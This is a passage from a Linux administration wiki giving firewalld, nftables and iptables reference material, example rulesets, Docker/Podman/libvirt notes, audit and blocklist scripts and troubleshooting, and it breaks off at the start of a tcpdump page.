9) govern traffic forwarded between zones, which is what a router or a container host needs. The built-in `allow-host-ipv6` policy exists on every install; a policy with `--set-target=CONTINUE` and explicit rules is the modern replacement for putting `--add-masquerade` on `external` and trusting the `internal` zone. ```sh firewall-cmd --permanent --new-policy=lan-to-wan firewall-cmd --permanent --policy=lan-to-wan --add-ingress-zone=internal firewall-cmd --permanent --policy=lan-to-wan --add-egress-zone=public firewall-cmd --permanent --policy=lan-to-wan --set-target=ACCEPT firewall-cmd --permanent --policy=lan-to-wan --add-masquerade # or --add-masquerade on the egress zone firewall-cmd --permanent --new-policy=wan-to-dmz firewall-cmd --permanent --policy=wan-to-dmz --add-ingress-zone=public --add-egress-zone=dmz firewall-cmd --permanent --policy=wan-to-dmz --add-rich-rule='rule family=ipv4 destination address=10.0.1.10 port port=443 protocol=tcp accept' firewall-cmd --reload firewall-cmd --info-policy=lan-to-wan ``` A zone with `forward` enabled (`--add-forward`, default on since 1.0) allows traffic between interfaces in the same zone. Anything crossing zones needs a policy. ### Logging denied packets ```sh firewall-cmd --set-log-denied=all # off, all, unicast, broadcast, multicast; runtime and permanent at once firewall-cmd --get-log-denied journalctl -k -g 'FINAL_REJECT|FINAL_DROP' -f # firewalld prefixes: FINAL_REJECT for reject zones, FINAL_DROP for drop ``` Each log line names the interface, source and destination address, protocol and ports: `IN=eth0 OUT= SRC=203.0.113.7 DST=192.0.2.1 ... PROTO=TCP SPT=51234 DPT=23`. Turn it off after debugging on a busy host; every unsolicited packet becomes a journal line. ### Direct rules and the nftables backend `--direct` rules insert raw iptables syntax and are deprecated; policies and rich rules cover what they were used for. firewalld's own rules are in `nft list table inet firewalld`. Adding rules with `nft` to firewalld's tables is undone at every reload; put your own rules in your own table, and keep in mind that both are evaluated. ## nftables nftables replaces iptables, ip6tables, arptables and ebtables with one syntax and one kernel API. A ruleset is a set of tables; a table belongs to a family (`ip`, `ip6`, `inet` for both, `arp`, `bridge`, `netdev`) and holds chains, sets, maps and counters. A base chain hooks into the network stack at a point (`prerouting`, `input`, `forward`, `output`, `postrouting`) with a priority and a default policy; a regular chain runs only when jumped to. Rules are evaluated in order within a chain, and the first terminating verdict (`accept`, `drop`, `reject`, `jump`, `goto`, `return`) ends evaluation of that chain. Everything is atomic when loaded from a file with `nft -f`: the kernel swaps the whole ruleset in one transaction, so a syntax error leaves the old rules in place and there is no half-loaded window. Sets replace long lists of near-identical rules and are updated without touching the rules that reference them. ```sh nft list ruleset # everything, in the syntax you would write it in nft list tables # table names and families nft list table inet filter nft list chain inet filter input nft list ruleset -a # with rule handles, needed for delete and insert-at nft list set inet filter admin_hosts nft -c -f /etc/nftables/main.nft # -c: check syntax and semantics, load nothing nft -f /etc/nftables/main.nft # load atomically; the file usually starts with flush ruleset nft add rule inet filter input tcp dport 8080 accept # append to a chain at runtime nft insert rule inet filter input position 0 tcp dport 8080 accept # at the top nft add rule inet filter input handle 12 tcp dport 8080 accept # after handle 12 nft delete rule inet filter input handle 14 nft add element inet filter admin_hosts { 192.0.2.10, 192.0.2.11 } # extend a set live nft delete element inet filter admin_hosts { 192.0.2.11 } nft flush chain inet filter input # empty a chain (the base chain's policy then applies to everything) nft flush ruleset # DESTRUCTIVE to filtering: removes every table including firewalld's and Docker's nft list ruleset > /etc/nftables/backup-$(date +%F).nft # dump in loadable form nft -j list ruleset | jq # JSON nft monitor # print ruleset changes as they happen ``` Persistence on Fedora and RHEL: `nftables.service` runs `nft -f /etc/sysconfig/nftables.conf`, which by default includes files from `/etc/nftables/`. Put the ruleset in `/etc/nftables/main.nft`, reference it from `/etc/sysconfig/nftables.conf` with `include "/etc/nftables/main.nft"`, and `systemctl enable --now nftables`. Disable firewalld first if the nftables file is meant to be the full policy; running both means two rulesets are evaluated. ### A complete host ruleset A stateful ruleset for a server that accepts SSH from a management network, HTTP and HTTPS from anywhere, rate-limits new SSH connections, drops everything else and logs what it drops. ```sh #!/usr/sbin/nft -f # /etc/nftables/main.nft flush ruleset define MGMT_NET6 = { 2001:db8:1::/64 } table inet filter { set admin_hosts { type ipv4_addr flags interval # allows CIDR ranges and ranges like 192.0.2.1-192.0.2.20 elements = { 192.0.2.0/24 } } set ssh_meter { type ipv4_addr flags dynamic, timeout # per-source rate counters, created on demand timeout 1m } set blocklist { type ipv4_addr flags dynamic, timeout # elements expire; filled by the ssh_ratelimit chain below timeout 1h } chain input { type filter hook input priority filter; policy drop; iif lo accept # loopback ct state established,related accept # replies to our own connections and related ICMP ct state invalid drop # packets no connection tracking entry explains ip saddr @blocklist drop # anyone the rate limiter caught ip protocol icmp icmp type { echo-request, destination-unreachable, time-exceeded, parameter-problem } limit rate 10/second accept ip6 nexthdr icmpv6 icmpv6 type { echo-request, destination-unreachable, packet-too-big, time-exceeded, parameter-problem, nd-neighbor-solicit, nd-neighbor-advert, nd-router-advert } accept # IPv6 does not work without ND tcp dport 22 ip saddr @admin_hosts ct state new jump ssh_ratelimit tcp dport 22 ip saddr @admin_hosts accept tcp dport 22 ip6 saddr $MGMT_NET6 accept tcp dport { 80, 443 } accept udp dport 443 accept # HTTP/3 meta l4proto { tcp, udp } th dport 33434-33534 reject with icmpx type port-unreachable # traceroute answers limit rate 5/second log prefix "nft-input-drop " flags all counter drop # what the policy would drop; rate-limited so a flood cannot fill the journal } chain ssh_ratelimit { # more than 4 new connections in a minute from one address adds it to the blocklist for an hour add @ssh_meter { ip saddr limit rate over 4/minute burst 4 packets } add @blocklist { ip saddr } log prefix "nft-ssh-ratelimit " drop return } chain forward { type filter hook forward priority filter; policy drop; # this host does not route; container and VM forwarding is added in the nat example below } chain output { type filter hook output priority filter; policy accept; } } ``` Notes on the constructs. `ct state established,related accept` near the top is what makes the ruleset stateful and cheap: only the first packet of a connection is evaluated by the rest of the chain. `policy drop` on `input` and `forward` with `policy accept` on `output` is the usual server posture. `flags interval` on a set permits CIDR elements; without it every element must be a single address. `add @ssh_meter { ip saddr limit rate over ... }` creates a per-source rate counter in a dynamic set and matches only when that source is over the rate, and the following `add @blocklist { ip saddr }` records the offender with the set's default timeout; together they are the native replacement for fail2ban-style banning. `inet` tables see both IPv4 and IPv6, and `ip saddr` or `ip6 saddr` matches only the relevant family, so rules that mention neither apply to both. `th dport` matches the transport header port regardless of protocol. `reject with icmpx type port-unreachable` sends the correct ICMP or ICMPv6 message for the packet's family. Anonymous sets in braces (`{ 80, 443 }`) are compiled into a single lookup. Priorities: base chains at the same hook run in order of numeric priority, lowest first. `filter` is 0, `mangle` is -150, `dstnat` is -100, `srcnat` is 100, `raw` is -300, `security` is 50. firewalld and Docker's `iptables-nft` tables also hook `input` and `forward` at priority 0; that is why a `drop` in any of them is final and an `accept` in one lets the next table decide. ### NAT for VMs and containers A host with a bridge `br0` for VMs on `10.0.0.0/24`, masquerading out of `eth0`, forwarding port 443 to one VM, and a forward chain that lets the VMs out but not in. ```sh table inet nat { chain prerouting { type nat hook prerouting priority dstnat; policy accept; iifname "eth0" tcp dport 443 dnat ip to 10.0.0.10:8443 # inbound 443 to the web VM iifname "eth0" tcp dport 2222 dnat ip to 10.0.0.11:22 # SSH to the bastion VM on an alternate port } chain postrouting { type nat hook postrouting priority srcnat; policy accept; ip saddr 10.0.0.0/24 oifname "eth0" masquerade # VMs share the host's public address ip saddr 10.0.0.0/24 ip daddr 10.0.0.10 tcp dport 8443 masquerade # hairpin: VMs reaching the public port get replies via the host } } table inet filter { chain forward { type filter hook forward priority filter; policy drop; ct state established,related accept ct state invalid drop iifname "br0" oifname "eth0" accept # VMs to the internet iifname "eth0" oifname "br0" ct status dnat accept # only inbound traffic that a dnat rule chose iifname "br0" oifname "br0" accept # VM to VM on the bridge (or drop for isolation) log prefix "nft-forward-drop " limit rate 5/second counter drop } } ``` `ct status dnat` matches only connections a DNAT rule rewrote, which is tighter than opening `tcp dport 8443` on the forward chain. `sysctl -w net.ipv4.ip_forward=1` (and `net.ipv6.conf.all.forwarding=1`) must be set separately and persisted in `/etc/sysctl.d/`; nftables does not enable forwarding for you. For bridges, `net.bridge.bridge-nf-call-iptables` decides whether bridged traffic between VMs on the same bridge is even seen by the `inet` forward chain (Docker and libvirt set it to 1); when it is 0 the `br0` to `br0` rule is irrelevant. Maps turn repetitive DNAT rules into one lookup: ```sh table inet nat { map port_forwards { type inet_service : ipv4_addr . inet_service elements = { 443 : 10.0.0.10 . 8443, 2222 : 10.0.0.11 . 22, 8080 : 10.0.0.12 . 80 } } chain prerouting { type nat hook prerouting priority dstnat; policy accept; iifname "eth0" dnat ip to tcp dport map @port_forwards } } ``` ### Sets, verdict maps and counters ```sh nft add set inet filter countries { type ipv4_addr\; flags interval\; } nft add element inet filter countries { 198.51.100.0/24, 203.0.113.0/24 } nft add rule inet filter input ip saddr @countries drop # verdict map: one rule, different action per port nft add rule inet filter input tcp dport vmap { 22 : jump ssh_chain, 80 : accept, 443 : accept, 3306 : drop } # per-interface dispatch nft add rule inet filter input iif vmap { "lo" : accept, "eth0" : jump wan_input, "br0" : jump lan_input } # named counters that survive rule edits nft add counter inet filter ssh_accepted nft add rule inet filter input tcp dport 22 counter name ssh_accepted accept nft list counters # concatenations: match address and port together nft add set inet filter allowed { type ipv4_addr . inet_service\; } nft add element inet filter allowed { 192.0.2.10 . 5432, 192.0.2.11 . 5432 } nft add rule inet filter input ip saddr . tcp dport @allowed accept # reset counters nft reset counters table inet filter ``` Set types: `ipv4_addr`, `ipv6_addr`, `ether_addr`, `inet_proto`, `inet_service` (port), `mark`, `ifname`. Flags: `interval` for ranges and prefixes, `timeout` for expiring elements, `dynamic` for elements added from rules, `constant` for read-only sets the kernel can optimise. ### Tracing a packet `nftrace` marks packets so `nft monitor trace` prints every rule they hit in every table, which is the fastest way to find out which rule (and whose) is dropping something. ```sh nft insert rule inet filter input position 0 tcp dport 8443 meta nftrace set 1 # mark matching packets at the very top nft monitor trace # in another terminal, then send a test packet nft delete rule inet filter input handle N # remove the trace rule afterwards; find N with nft list ruleset -a ``` Output shows `trace id ... inet filter input packet: ...`, then `rule ... (verdict accept)` lines per rule, then `policy drop` or the verdict that ended it, per table. A `verdict drop` in `ip filter DOCKER-USER` while your own table said `accept` is the classic result. ## iptables and translation `iptables` on a modern system is `iptables-nft`; `iptables -V` prints `(nf_tables)`. It still works, still uses the `filter`, `nat` and `mangle` table names in the `ip` family, and is what Docker, libvirt and many installers speak. `iptables-legacy` uses the old x_tables kernel modules, and rules in the two backends do not see each other, so a system with both installed can have rules in three places. `update-alternatives --display iptables` (Debian) or `alternatives --display iptables` (RHEL) shows which one the `iptables` name resolves to. ```sh iptables -L -n -v --line-numbers # filter table, numeric, counters iptables -t nat -L -n -v # nat table iptables -S # rules as add commands iptables-save > /root/iptables-$(date +%F).rules # dump all tables in restorable form iptables-restore < /root/iptables.rules # atomic load iptables -A INPUT -p tcp --dport 22 -s 192.0.2.0/24 -j ACCEPT iptables -I INPUT 1 -i lo -j ACCEPT # insert at position 1 iptables -D INPUT 3 # delete rule 3 iptables -P INPUT DROP # default policy iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.10:8443 iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m limit --limit 4/min --limit-burst 4 -j ACCEPT iptables -A INPUT -j LOG --log-prefix 'ipt-drop ' --log-level 4 ``` `iptables-translate` and `iptables-restore-translate` print the nftables equivalent of a rule or a whole saved ruleset. The output is a starting point: it lands in per-table `ip` and `ip6` tables rather than one `inet` table, and hand-merging into a single file is worth the effort. ```sh iptables-translate -A INPUT -p tcp --dport 22 -s 192.0.2.0/24 -j ACCEPT # nft add rule ip filter INPUT ip saddr 192.0.2.0/24 tcp dport 22 counter accept iptables-translate -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE # nft add rule ip nat POSTROUTING oifname "eth0" ip saddr 10.0.0.0/24 counter masquerade iptables-restore-translate -f /root/iptables.rules > /etc/nftables/translated.nft nft -c -f /etc/nftables/translated.nft ``` | iptables | nftables | | --- | --- | | `-A INPUT` | `add rule inet filter input` | | `-I INPUT 1` | `insert rule inet filter input` | | `-p tcp --dport 22` | `tcp dport 22` | | `-s 192.0.2.0/24` | `ip saddr 192.0.2.0/24` | | `-i eth0` / `-o eth0` | `iifname "eth0"` / `oifname "eth0"` (`iif` for an index, faster but breaks if the interface is recreated) | | `-m conntrack --ctstate ESTABLISHED,RELATED` | `ct state established,related` | | `-m multiport --dports 80,443` | `tcp dport { 80, 443 }` | | `-m set --match-set x src` | `ip saddr @x` | | `-m limit --limit 4/min` | `limit rate 4/minute` | | `-j LOG --log-prefix "x "` | `log prefix "x "` | | `-j REJECT --reject-with icmp-port-unreachable` | `reject with icmp type port-unreachable` | | `-j MASQUERADE` | `masquerade` | | `-j DNAT --to 10.0.0.10:8443` | `dnat ip to 10.0.0.10:8443` | | `-j SNAT --to 192.0.2.1` | `snat ip to 192.0.2.1` | | `-j REDIRECT --to-ports 8080` | `redirect to :8080` | | `-m mark --mark 1` / `-j MARK --set-mark 1` | `meta mark 1` / `meta mark set 1` | | `-m comment --comment "x"` | `comment "x"` | | `-P INPUT DROP` | `policy drop` in the chain definition | | `iptables-save` / `iptables-restore` | `nft list ruleset` / `nft -f` | ## Common patterns SSH from one subnet only, with the rest rejected so legitimate clients fail fast: ```sh # firewalld firewall-cmd --permanent --zone=public --remove-service=ssh firewall-cmd --permanent --zone=public --add-rich-rule='rule family=ipv4 source address=192.0.2.0/24 service name=ssh accept' firewall-cmd --permanent --zone=public --add-rich-rule='rule service name=ssh reject' firewall-cmd --reload # nftables nft add rule inet filter input ip saddr 192.0.2.0/24 tcp dport 22 accept nft add rule inet filter input tcp dport 22 reject with tcp reset ``` Rate-limit new connections to a service and ban repeat offenders (nftables version is in the complete ruleset above): ```sh firewall-cmd --permanent --add-rich-rule='rule service name=ssh limit value=4/m accept' # firewalld: 4 new per minute, rest hit the zone target nft add rule inet filter input tcp dport 22 ct state new limit rate over 4/minute burst 4 packets drop # nftables, without the ban set ``` Allow a service only from the container or VM network and the host itself: ```sh nft add rule inet filter input ip saddr { 127.0.0.1, 10.0.0.0/24, 10.88.0.0/16 } tcp dport 5432 accept firewall-cmd --permanent --zone=trusted --add-source=10.88.0.0/16 # firewalld: trust the Podman network entirely ``` Redirect a privileged port to an unprivileged one so a service can run without `CAP_NET_BIND_SERVICE`: ```sh firewall-cmd --permanent --add-forward-port=port=443:proto=tcp:toport=8443 nft add rule inet nat prerouting tcp dport 443 redirect to :8443 nft add rule inet nat output oif lo tcp dport 443 redirect to :8443 # local clients too; needs an output nat chain ``` Block outbound except what is needed, for a hardened host or a build box: ```sh table inet filter { chain output { type filter hook output priority filter; policy drop; oif lo accept ct state established,related accept udp dport 53 ip daddr { 192.0.2.53, 192.0.2.54 } accept # our resolvers only tcp dport { 80, 443 } accept udp dport 123 accept # NTP log prefix "nft-output-drop " counter drop } } ``` ## Docker, Podman and libvirt Docker writes `iptables-nft` rules in the `ip filter`, `ip nat` tables (`DOCKER`, `DOCKER-USER`, `DOCKER-FORWARD`, `DOCKER-ISOLATION-STAGE-*` chains), publishes ports with DNAT in `PREROUTING`, and sets the `FORWARD` policy to `DROP` while accepting its own bridges. A port published with `-p 8080:80` is reachable from every interface regardless of firewalld, because Docker's DNAT runs at `prerouting` and its `FORWARD` accept happens in its own table. Since Docker 20.10 on firewalld hosts, Docker also adds its bridge interfaces to a `docker` firewalld zone, which makes firewalld aware of them but does not restrict published ports. The supported place for your own restrictions is the `DOCKER-USER` chain, which Docker jumps to first in `FORWARD` and never flushes: ```sh iptables -I DOCKER-USER -i eth0 ! -s 192.0.2.0/24 -m conntrack --ctdir ORIGINAL -j DROP # published ports reachable only from the management net iptables -I DOCKER-USER -i eth0 -p tcp --dport 8080 -j DROP # or block one published port from outside iptables -L DOCKER-USER -n -v ``` Alternatives: bind published ports to loopback (`-p 127.0.0.1:8080:80`) and put a reverse proxy in front, set `"iptables": false` in `/etc/docker/daemon.json` and manage NAT yourself (breaks port publishing until you write the rules), or set `"ip": "127.0.0.1"` as the default bind address. Docker 28 also honours `"ip6tables"` and tightens the default so containers are no longer reachable on unpublished ports from other hosts on the LAN. See [Docker](https://www.wiki.jodisand.me/docker/#networks-and-published-ports). Podman with netavark (default since Podman 4.0) writes nftables rules in its own `netavark` table when the `nftables` firewall driver is selected (the default on Fedora 41+), or `iptables-nft` rules in a `NETAVARK-*` set of chains otherwise. Rootless Podman uses pasta or slirp4netns and no kernel rules at all; published ports are held open by the user process, so firewalld rules on the host port are the only filter. Rootful Podman on a firewalld host adds its bridge to the `trusted` zone by default (`firewalld` driver in `containers.conf`). See [Podman](https://www.wiki.jodisand.me/podman/). libvirt's default NAT network writes `iptables-nft` rules (`LIBVIRT_INP`, `LIBVIRT_FWO`, `LIBVIRT_FWI`, `LIBVIRT_PRT` chains) or, with the `nftables` firewall backend in libvirt 10.4+, a `libvirt_network` nftables table. On a firewalld host it puts `virbr0` into the `libvirt` zone. Forwarding a port to a VM on the default network needs a rule in the forward path that libvirt does not provide; a libvirt network hook script or an `nft` rule in your own table at `dstnat` priority does it. See [libvirt](https://www.wiki.jodisand.me/libvirt/). The rule for all three: check `nft list ruleset` before assuming a firewalld rule is what governs a container or VM port, and put host policy in `DOCKER-USER`, a policy object, or your own nftables table rather than editing the tool's generated chains. ## Oneliners ```sh # What is actually open: listening sockets against firewall rules ss -tulpnH | awk '{print $1, $5}' | sort -u; firewall-cmd --list-ports --list-services # Runtime and permanent firewalld config differ diff <(firewall-cmd --list-all) <(firewall-cmd --permanent --list-all) # Open a port for 10 minutes while testing, then it closes itself firewall-cmd --add-port=9090/tcp --timeout=600 # Which zone will handle a source address firewall-cmd --get-zone-of-source=192.0.2.10 || echo 'interface zone applies' # Move all interfaces from public to drop, safely (source-zone the management net first) firewall-cmd --permanent --zone=trusted --add-source=192.0.2.0/24 && firewall-cmd --permanent --set-default-zone=drop && firewall-cmd --reload # Every service firewalld knows that maps to a given port for s in $(firewall-cmd --get-services); do firewall-cmd --info-service="$s" | grep -q 'ports:.*\b8080/tcp' && echo "$s"; done # Tail denied packets with a readable format journalctl -kf -g 'FINAL_(REJECT|DROP)|nft-.*-drop' | grep -oE 'IN=\S+|SRC=\S+|DST=\S+|PROTO=\S+|DPT=\S+' | paste - - - - - # Top sources being dropped in the last hour journalctl -k --since -1h -g 'FINAL_|nft-.*-drop' | grep -oP 'SRC=\K\S+' | sort | uniq -c | sort -rn | head # Dump the live nftables ruleset with counters and handles to a file nft -a list ruleset > /root/nft-$(date +%FT%H%M).txt # Reload an nftables file only if it validates nft -c -f /etc/nftables/main.nft && nft -f /etc/nftables/main.nft # Try a new ruleset and roll back automatically in 60 s unless cancelled (remote-safe) nft list ruleset > /root/nft-rollback.nft; (sleep 60 && nft -f /root/nft-rollback.nft) & rb=$!; nft -f /etc/nftables/main.nft; echo "kill $rb to keep" # Counters for the rules in one chain, sorted by packets nft -a list chain inet filter input | grep -oE 'counter packets [0-9]+ bytes [0-9]+.*' | sort -k3,3nr | head # Add an address to a blocklist set for an hour (dynamic set with timeout) nft add element inet filter blocklist { 203.0.113.7 timeout 1h } # List the contents of a set with expiry nft list set inet filter blocklist # Which table dropped a packet: trace one destination port nft insert rule inet filter input position 0 tcp dport 8443 meta nftrace set 1; timeout 20 nft monitor trace # Is IP forwarding on (needed for NAT and containers) sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding # Connection tracking table size and usage (drops appear as 'nf_conntrack: table full') sysctl net.netfilter.nf_conntrack_count net.netfilter.nf_conntrack_max # Live connection tracking entries to a port conntrack -L -p tcp --dport 443 2>/dev/null | head # conntrack-tools package # Which backend the iptables command uses iptables -V # Docker: block a published port from anything but one subnet iptables -I DOCKER-USER -i eth0 -p tcp --dport 8080 ! -s 192.0.2.0/24 -j DROP # Docker: show the DNAT rules it wrote iptables -t nat -S DOCKER # Podman: the nftables table netavark manages nft list table inet netavark 2>/dev/null || iptables -S | grep -i netavark # Test a rule from outside without nmap timeout 3 bash -c 'echo > /dev/tcp/192.0.2.1/8443' && echo open || echo 'closed or filtered' # Check whether a port is filtered or closed (RST versus silence); see the nmap page for more nc -zv -w3 192.0.2.1 8443 # Check for a second, legacy ruleset lurking iptables-legacy -S 2>/dev/null | grep -v '^-P' || echo 'no legacy rules' # Persist a firewalld set of changes as an idempotent script firewall-cmd --permanent --list-all | sed 's/^/# /'; firewall-cmd --permanent --list-rich-rules | sed "s/.*/firewall-cmd --permanent --add-rich-rule='&'/" ``` ## Scripts Audit a host's exposure: listening sockets against firewalld's open ports and services, flagging anything listening on all interfaces that no rule allows. Read-only. ```sh #!/usr/bin/env bash # usage: exposure-audit.sh (root, firewalld running) set -euo pipefail zone=$(firewall-cmd --get-default-zone) allowed=$(firewall-cmd --zone="$zone" --list-ports | tr ' ' '\n') for s in $(firewall-cmd --zone="$zone" --list-services); do allowed+=$'\n'$(firewall-cmd --info-service="$s" | awk '/ports:/ {for (i = 2; i <= NF; i++) print $i}') done printf 'default zone: %s\n\n%-6s %-22s %-8s %s\n' "$zone" PROTO LISTEN ALLOWED PROCESS ss -tulpnH | while read -r proto _ _ local _ proc; do port=${local##*:}; addr=${local%:*} case $addr in 127.*|\[::1\]) continue ;; esac # loopback is not exposed p=${proto%6} # tcp6 -> tcp if grep -qx "$port/$p" <<< "$allowed"; then ok=yes; else ok=NO; fi printf '%-6s %-22s %-8s %s\n' "$proto" "$local" "$ok" "$(grep -oP 'users:\(\("\K[^"]+' <<< "$proc" | head -1)" done | sort -k3 ``` Generate a firewalld configuration from a small declarative file, so a host's policy lives in version control rather than in the order someone typed commands. Applies to the permanent configuration and reloads. ```sh #!/usr/bin/env bash # usage: apply-firewall.sh policy.conf # policy.conf lines: zone public service https | zone public port 8443/tcp | zone trusted source 192.0.2.0/24 | rich public rule ... | masquerade public set -euo pipefail conf=${1:?policy file required} run() { printf '+ firewall-cmd --permanent %s\n' "$*"; firewall-cmd --permanent "$@" >/dev/null; } # reset the zones the file mentions to their shipped defaults so removed lines really go away for z in $(awk '$1 == "zone" || $1 == "rich" || $1 == "masquerade" {print $2}' "$conf" | sort -u); do run --load-zone-defaults="$z" 2>/dev/null || echo "zone $z has no defaults to load (custom zone), continuing" >&2 done while read -r kind zone what value; do case $kind in ''|'#'*) continue ;; zone) run --zone="$zone" --add-"$what"="$value" ;; # service, port, source, interface rich) run --zone="$zone" --add-rich-rule="$what $value" ;; masquerade) run --zone="$zone" --add-masquerade ;; *) echo "unknown line: $kind $zone $what $value" >&2; exit 2 ;; esac done < "$conf" firewall-cmd --reload && firewall-cmd --list-all-zones | grep -B1 -A12 'active' ``` Block-list synchroniser: loads a list of CIDRs from a file into an nftables set atomically, so a feed of bad addresses can be refreshed from a timer without touching any rule. ```sh #!/usr/bin/env bash # usage: sync-blocklist.sh /etc/nftables/blocklist.txt (one CIDR or address per line; # comments) set -euo pipefail src=${1:?list file required} tmp=$(mktemp); trap 'rm -f -- "$tmp"' EXIT mapfile -t cidrs < <(grep -Ev '^\s*(#|$)' "$src" | grep -E '^([0-9]{1,3}\.){3}[0-9]{1,3}(/[0-9]{1,2})?$') (( ${#cidrs[@]} )) || { echo 'no valid IPv4 entries' >&2; exit 1; } { printf 'table inet filter {\n set blocklist_v4 {\n type ipv4_addr\n flags interval\n }\n}\n' # ensure the set exists; a no-op if it does printf 'flush set inet filter blocklist_v4\n' printf 'add element inet filter blocklist_v4 { %s }\n' "$(IFS=,; echo "${cidrs[*]}")" } > "$tmp" nft -c -f "$tmp" && nft -f "$tmp" # one transaction: flush and refill printf 'loaded %d entries into inet filter blocklist_v4\n' "${#cidrs[@]}" nft list chain inet filter input | grep -q '@blocklist_v4' || echo 'note: no rule references @blocklist_v4 yet' >&2 ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | Rule added, still blocked | Added to runtime or permanent but not both; or wrong zone for that interface | `firewall-cmd --list-all` versus `--permanent --list-all`; `--get-zone-of-interface=eth0` | | Rule works until reboot or `--reload` | Runtime only | `firewall-cmd --runtime-to-permanent` | | Port open in firewalld, connection refused | Nothing listening, or bound to `127.0.0.1` | `ss -tulpn \| grep :PORT`; fix the service's bind address | | Port open in firewalld, connection times out | Another table drops it (Docker `FORWARD`, a custom nft table), or an upstream network firewall | `nft list ruleset`, `nft monitor trace` with an `nftrace` rule, `tcpdump -ni eth0 port PORT` to confirm arrival | | Container's published port reachable despite firewalld rules | Docker DNATs in `prerouting` and accepts in its own `FORWARD` chain | Restrict in `DOCKER-USER`, bind to `127.0.0.1`, or use a reverse proxy | | VMs or containers cannot reach the internet | Forwarding off, no masquerade, or forward chain policy drop | `sysctl net.ipv4.ip_forward`, `nft list table inet nat`, `firewall-cmd --list-all --zone=public \| grep masquerade` | | `nft -f` fails with `Error: Could not process rule: No such file or directory` | Referencing a table, chain or set that does not exist yet, or the wrong family | Declare the table first in the same file; check `inet` versus `ip` | | `nft -f` fails with `Operation not supported` | Kernel lacks the feature (old kernel, missing module) or `flags interval` needed for CIDR elements | `uname -r`, add `flags interval`, or `modprobe nft_*` | | Locked out after a reload | Removed SSH access or changed default zone remotely | Console or provider recovery shell; use `--timeout` or the rollback oneliner next time | | Locked out after `nft -f` | Ruleset with `policy drop` and no established-state or SSH rule | Console; always include `ct state established,related accept` and test with a timed rollback | | firewalld logs `FINAL_REJECT` for traffic you allowed | Wrong zone matched (source-based zone overrides interface zone) | `firewall-cmd --get-active-zones`, check `sources` on each | | Rich rule not removing | Text must match exactly, including `family=` | `firewall-cmd --list-rich-rules` and copy the line verbatim | | `firewall-cmd` says `INVALID_SERVICE` | Service not predefined | `firewall-cmd --get-services`, define with `--new-service`, or use `--add-port` | | `iptables` shows nothing but traffic is filtered | Rules are in nftables native tables, or in `iptables-legacy` | `nft list ruleset`, `iptables-legacy -S` | | `nf_conntrack: table full, dropping packet` in `dmesg` | Too many tracked connections | Raise `net.netfilter.nf_conntrack_max`, lower `nf_conntrack_tcp_timeout_established`, or `notrack` bulk flows | | Asymmetric or hairpin NAT fails | Reply path bypasses the NAT host, or no masquerade for LAN clients hitting the public address | Add the hairpin masquerade rule; check routes with `ip route get` | | ICMP or traceroute broken after hardening | ICMP types dropped, IPv6 ND blocked | Allow the ICMP types in the ruleset above; IPv6 needs `nd-neighbor-solicit` and `nd-neighbor-advert` | | Rules vanish after `systemctl restart firewalld` | Custom `nft` rules were added to firewalld's table | Keep your rules in your own table; firewalld only flushes its own | | Rule matches nothing (`counter packets 0`) | Rule below a terminating rule, wrong interface name, wrong family | `nft -a list chain`, move with `insert`, use `iifname` not `iif` after interfaces are recreated | ## Further reading - [firewalld documentation](https://firewalld.org/documentation/): zones, policies, rich language and the man pages `firewall-cmd(1)`, `firewalld.richlanguage(5)`, `firewalld.policy(5)`. - [nftables wiki](https://wiki.nftables.org/wiki-nftables/index.php/Main_Page): quick reference, examples, sets, maps and the netfilter hooks diagram. - [nft(8) man page](https://www.netfilter.org/projects/nftables/manpage.html): the complete grammar, expressions, statements and data types. - [Red Hat: Configuring firewalls and packet filters](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/configuring_firewalls_and_packet_filters/index): firewalld and nftables on RHEL 9, including migration from iptables. - [Moving from iptables to nftables](https://wiki.nftables.org/wiki-nftables/index.php/Moving_from_iptables_to_nftables): the translation tools and the differences that matter. - [Docker: Packet filtering and firewalls](https://docs.docker.com/engine/network/packet-filtering-firewalls/): `DOCKER-USER`, firewalld integration and the daemon options. --- # tcpdump and Wireshark > Capture the right packets with BPF filters, read tcpdump output, capture in containers and over SSH, script with tshark, and diagnose retransmissions, MTU, TLS and DNS faults in Wireshark. Canonical: https://www.wiki.jodisand.me/tcpdump/ Reviewed: 2026-09-24 Related: [iproute2](https://www.wiki.jodisand.me/iproute2/index.md), [DNS](https://www.wiki.jodisand.me/dns/index.md), [TLS and certificates](https://www.wiki.jodisand.me/tls/index.md), [HTTP and curl](https://www.wiki.jodisand.me/http/index.md), [firewalld, nftables and iptables](https://www.wiki.jodisand.me/firewall/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Interfaces tcpdump can see | `tcpdump -D` | | Traffic to or from a host, no name lookups | `tcpdump -ni eth0 host 192.0.2.10` | | One port, verbose | `tcpdump -ni eth0 -v port 443` | | Everything except SSH (your own session) | `tcpdump -ni eth0 not port 22` | | Only TCP handshakes | `tcpdump -ni eth0 'tcp[tcpflags] & (tcp-syn\|tcp-ack) == tcp-syn'` | | Only RST packets | `tcpdump -ni eth0 'tcp[tcpflags] & tcp-rst != 0'` | | DNS queries and answers | `tcpdump -ni eth0 -vv port 53` | | HTTP request lines in plain text | `tcpdump -ni eth0 -A -s0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420)'` | | Write to a file for Wireshark | `tcpdump -ni eth0 -s0 -w capture.pcap port 8443` | | Rotate files: 100 MB each, keep 10 | `tcpdump -ni eth0 -w cap-%Y%m%d-%H%M%S.pcap -C 100 -W 10 -s0` | | Stop after 1000 packets | `tcpdump -ni eth0 -c 1000 -w capture.pcap` | | Read a file with a filter | `tcpdump -nr capture.pcap 'host 192.0.2.10 and port 443'` | | Timestamps as ISO with microseconds | `tcpdump -ni eth0 -tttt` | | Delta since the previous packet | `tcpdump -ni eth0 -ttt` | | Capture remotely, view locally | `ssh host 'tcpdump -ni eth0 -s0 -U -w - not port 22' \| wireshark -k -i -` | | Capture in a container's namespace | 